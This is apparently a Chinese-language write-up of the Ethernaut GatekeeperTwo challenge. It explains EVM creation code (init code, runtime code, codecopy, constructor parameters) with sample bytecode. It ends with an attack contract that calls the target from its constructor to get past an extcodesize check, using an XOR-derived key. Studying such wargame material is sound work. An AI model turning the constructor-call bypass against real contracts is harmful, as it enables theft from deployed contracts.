GateKeeperTwo

Reference

GateKeeperTwo

GateKeeperTwo.sol

Ethereum-Creation-Code

目标

  1. 更新目标合约的参数

Ethereum smart contract creation code

codeCopy

codecopy从内存中取出数据

  1. destOffset: 内存中读取数据的起始位置
  2. offset: 待拷贝数据的起始位置
  3. size: 拷贝数据的长度

codecopy

Introduction-creation code

<init code> <runtime code> <constructor parameters>

  1. 合约部署时由三部分组成: EVM 从init code开始执行部署工作（create 字节码），部署过程初始化构造器参数并且将 runtime code存储在链上
pragma solidity 0.8.17;// optimizer: 200 runs
contract Minimal {
    // 空 constructor()函数不影响合约部署的字节码，存在或不存在 constructor()函数，字节码都一样
    constructor() payable {

    }
}

部署 bytesCode 0x6080604052603f8060116000396000f3fe + 6080604052600080fdfea2646970667358221220a4c95008952415576a18240f5049a47507e1658565a8ec11a634c25a9aa17cf164736f6c63430008110033

initcode-playground

  1. initcode中执行codecopy,栈内数据自栈顶向下依次存在值：00,11,3f,3f。表明从内存 0index开始，间隔 0x11=17开始读取 0x3f=63bytes数据
  2. codecopy将runtimeCode拷贝到内存中存储
  3. return关键字将内存数据返回到EVM，作为合约数据存储上链

Non-payable constructor contract

0x6080604052348015600f57600080fd5b50603f80601d6000396000f3fe|6080604052600080fdfea2646970667358221220a55361e0436e97c9dd60ac5f5a5d96e6a000f6229fd071b0bc9ab6d5f7fe2fe064736f6c63430008110033

包含payable 修饰符的合约： 0x6080604052603f8060116000396000f3fe+6080604052600080fdfea2646970667358221220a4c95008952415576a18240f5049a47507e1658565a8ec11a634c25a9aa17cf164736f6c63430008110033

  1. 没有payable修饰的合约部署代码中的initcode size较大，因为需要进行value的判断
  2. <init bytecode> <extra 12 byte sequence (payable case)> <return runtime bytecode> <runtime bytecode>
// check the amount of wei that was sent
CALLVALUE
DUP1
ISZERO

// Jump to 0x0f (contract deployment step)
PUSH1 0x0f
JUMPI

// revert if wei sent is greater than 0
PUSH1 0x00
DUP1
REVERT

RuntimeCode

  1. 在空合约中，runtimeCode不为空，需要包含当前合约编译环境等源数据
  2. runtimeTime包含 constructor()构造函数中的初始化参数(如果存在的话，会encode到最后)
pragma solidity 0.8.17;
contract Runtime {
    address lastSender;
    constructor () payable {}

    receive() external payable {
        lastSender = msg.sender;
    }
}

存在函数方法的合约的部署字节码：0x6080604052605a8060116000396000f3fe+608060405236601f57600080546001600160a01b03191633908117909155005b600080fdfe+a2646970667358221220f866e014c98dd6fc08f86a965441844c3b59b2562df6b35744699f67785c2a0c64736f6c63430008110033

  1. <initCode> + <Runtimecode>(part1_runtimeCode + part2_Metadata)
  2. runtimeCode负责处理 msg.data, 遍历字节码匹配合约函数进行处理。示例不存在任何函数以及fallback()函数，如果用于发起的交易中msg.data不为空的话，会导致交易revert.

Constructor with parameters

  1. 构造函数的数据用于初始化合约函数，在合约代码存储上链后执行。
  2. 存在参数的构造函数，在部署时会检查合约参数是否时预期参数类型、长度等
  3. 构造函数参数encode到runtimeCode之后
pragma solidity 0.8.17;
contract MinimalLogic {
	uint256 private x;
	constructor (uint256 _x) payable {
		x =_x;
	}
}

合约部署字节码： 0x608060405260405160893803806089833981016040819052601e916025565b600055603d565b600060208284031215603657600080fd5b5051919050565b603f80604a6000396000f3fe+ 6080604052600080fdfea26469706673582212209e3f4fd87589fae7c00e7284adf0a1a3f48c201e7bbaed31395c5304a13054a764736f6c63430008110033 + 000000000000000000000000000000000000000000000000000000000000007b

  1. 部署环节先检查构造函数的参数是否符合预期
  2. 检查通过后，更新合约storage参数
  3. 将runtimecode拷贝的内存并存储上链

合约分析

  1. msg.sender != tx.origin ，需要实现一个辅助攻击合约，通过合约call，更新当前交易的 msg.sender
  2. extcodesize(caller()) ==0 要求发起交易的合约的runtimeCode为空
    1. 合约部署过程会先执行 构造函数中的逻辑，然后才会返回runtimecode并存储上链
    2. 因此如果远程call的合约逻辑放在 constructor() 函数中执行, 就可以满足这个条件
  3. 对于异或操作 A XOR B = C 等于A XOR C = B, 所以 key 值等于 A XOR C
contract AtGatekeeper {
   bytes8 gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this)))))  ^ type(uint64).max);
   constructor() {
      GatekeeperTwo two = GatekeeperTwo(0xxxxxxxxx);
      two.enter(gateKey);
   }
   function anyfunc()public {}
   function anyfunc2()public {}
}